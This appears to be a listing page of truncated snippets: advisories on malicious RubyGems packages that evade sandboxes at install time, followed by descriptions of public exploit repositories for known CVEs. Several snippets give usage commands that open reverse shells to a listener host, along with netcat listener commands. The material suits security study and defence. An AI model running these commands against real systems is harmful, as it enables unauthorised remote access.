Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17569 Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

hfs-cve-2014-6287-exploit

HFS CVE-2014-6287 エクスプロイトツール 概要 このリポジトリには、HTTP File Server HFS バージョン 2.3.x の CVE-2014-6287 脆弱性を悪用するために設計されたPythonベースのエクスプロイトツールが含まれています。この脆弱性により、攻撃者はサーバー上で任意のコマンドを実行でき、不正アクセスや制御を引き起こす可能性があります。 ⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテストのみ...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLi 到 RCE 漏洞利用 一个可直接运行的 Python 漏洞利用工具，针对 ZoneMinder 1.29/1.30，将未认证的 SQL 注入（CVE-2016-10204 ，EDB-41239）一路串联到交互式反向 shell。 这是一个针对已知且已修补的 CVE 的武器化/自动化 PoC，并非新的漏洞利用。 该漏洞的 EDB PoC 止步于 SQLi 载荷，或者只是“把 sqlmap 指向它”。本漏洞利用工具将完整的 SQLi 到 webshell 再到 shell 链条打包成一个可读的脚本。 功能说明 1...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840 のスタンドアロン PoC。 以下は、ポート443でリバースシェルを送り返します。 $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ / / | |/ /|...

CVE-2024-24590

ClearML エクスプロイト このリポジトリには、ClearML のデシリアライゼーションの脆弱性を悪用する概念実証エクスプロイトが含まれており、リモートコマンド実行を可能にします。このエクスプロイトは、悪意のあるピクルスアーティファクトを ClearML にアップロードしてリバースシェルを取得する方法を示しています。 前提条件 始める前に、以下の要件を満たしていることを確認してください: ClearML を実行しているマシン。 Python 3.8 以上。 clearml ライブラリがインストールされていること。pip を使用してインストールできます: pip install...

React2Shell-CTF

🛡️ React2Shell CTF 🚀 React2Shell-CTF へようこそ。これは React2Shell CVE-2025-55182 の悪用を練習するために設計されたDocker化環境です。 React2Shell は、Reactベースのアプリケーションに影響を与える重大な脆弱性です。このリポジトリは、この欠陥を理解し緩和するための、安全でローカルにデプロイ可能なCapture The Flag CTF チャレンジを提供します。リバースシェルを取得できますか？ 🐚 ℹ️ 脆弱性情報 CVE-2025-55182 の完全な技術的説明については、公式情報ウェブサイトをご覧ください：...

CVE-2019-9978

CVE-2019-9978 – 概念実証 PoC CVE-2019-9978 の脆弱性に対する機能する PoC です。この脆弱性は WordPress プラグイン Social Warfare = 3.5.2 に影響し、リモートコード実行 RCE を可能にします。 📌 説明 このエクスプロイトは swpdebug=loadoptions パラメータを悪用してリモートペイロードの読み込みを強制し、対象サーバーでのコマンド実行と リバースシェル の取得を可能にします。 ⚠️ 教育目的および許可された環境でのみ使用してください 。 🧰 要件 Python 3 脆弱な...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061のGUI用exp、楽しみと練習のためだけです 使用 python CVE-2020-17530.py ターゲットアドレスを入力 実行したいシステムコマンドを入力 実行をクリック PS: expにはリバースシェル関数が組み込まれていますが、GUIにボタンや設定項目を追加するのが面倒だったので、これくらいにしておきます...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト python3 strapiexp.py -h 免責事項...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 ローカルファイルインクルードエクスプロイト - CVE-2012-4869 説明 このスクリプトは Elastix 2.2.0 のローカルファイルインクルード LFI 脆弱性を悪用し、callmepage.php エンドポイントを介してコマンドを注入することでリモートコード実行 RCE を可能にします。このエクスプロイトは CVE-2012-4869 に基づいています。 特徴 TLS 証明書の検証をバイパスします。 Perl リバースシェル ペイロードを使用します。 リバースシェル用のカスタム LHOST および LPORT をサポートします。 HTTPS...

CVE-2019-18818_CVE-2019-19609

CVE-2019-18818 および CVE-2019-19609 のエクスプロイト このリポジトリには、CVE-2019-18818 および CVE-2019-19609 の 2 つの脆弱性を悪用する Python スクリプトが含まれています。 CVE-2019-18818 この脆弱性により、攻撃者は Strapi CMS の管理者ユーザーのパスワードをリセットできます。 使用方法 1. スクリプト内の target 変数と strapiport 変数を、対象の Strapi インスタンスに合わせて変更します。 2. スクリプトを実行して、管理者パスワードをリセットします。...

CVE-2017-11610

CVE-2017-11610 Supervisor 3.0a1～3.3.2 向け 未認証リバースシェルRCE Python 3.6以上用のスタンドアロン未認証RCEエクスプロイト。対象はSupervisor 3.0a1～3.3.2。この Metasploitモジュール から書き直したものです。解説 記事はこちら。 Python 3.7で、Supervisor 3.3.2が動作する このターゲット でテスト済み。 使い方: root@Kali:/Infosec/RubyStuff/Supervisor-3.3.2 ./exploit.py -h usage: exploit.py -h...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ 在 Webmin =1.920 中发现了一个问题。passwordchange.cgi 中的参数 "old" 和 "expire" 包含一个命令注入漏洞。 使用方法 1. 在红方主机上启动一个监听器。 rlwrap -cAr nc -lvp 1919 2. 运行漏洞利用程序 ./exploit.sh 3. 程序将提示输入以下参数： 目标主机的 IP 地址 运行 webmin 的目标端口（通常为 10000） 本地监听端口 运行监听器的本地接口（eth0、tun0 等...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 シェルショック エクスプロイトスクリプト 🎯💻🔍 このPythonスクリプトは、シェルショック脆弱性 CVE-2014-6271 を悪用して、脆弱なターゲット上でリモートからコマンドを実行したり、リバースシェルを確立したりします。 🛠️⚠️ ⚠ 免責事項 🚨❗ このスクリプトは、教育目的および許可されたペネトレーションテストのみを目的としています。明示的な許可なくシステムに対して不正に使用することは、違法かつ非倫理的です。セキュリティテストを実施する前に、必ず適切な許可を取得してください。 ⚠️🛑🚔 🔥 機能...

CVE-2026-48172

📚 教育用セキュリティ研究リポジトリ 管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d cd .. 使用例： For...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" は、msfvenom から shellcode を取得し、その出力を exp.pdf の 'calc' shellcode ブロックに置き換える Python スクリプトです。最後に動作します。おっと、これは tcp リバース shellcode です。 サンプルコードは次のようになります: python getshellcodefrommsf.py 192.168.1.79 1234...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE TheAlchimist による作成 cve-2023-27163-maltrail.py リバースシェル用...

CVE-2015-8562

CVE-2015-8562 - 反向 Shell Python 漏洞利用：Joomla 1.5 - 3.4.5 对象注入 RCE X-Forwarded-For 头： 漏洞日期：2015年12月17日 漏洞利用作者：anarc0der 版本：Joomla 1.5 至 3.4.5 CVE：CVE-2015-8562 使用方法： 打开一个终端并使用 nc 监听：$ nc -lnvp 4444 打开另一个终端并执行漏洞利用： python3 rce.py --target='目标' --ip='IP' --port=4444 PoC 示例目标（请勿攻击它们，仅供其他人作为示例使用）：...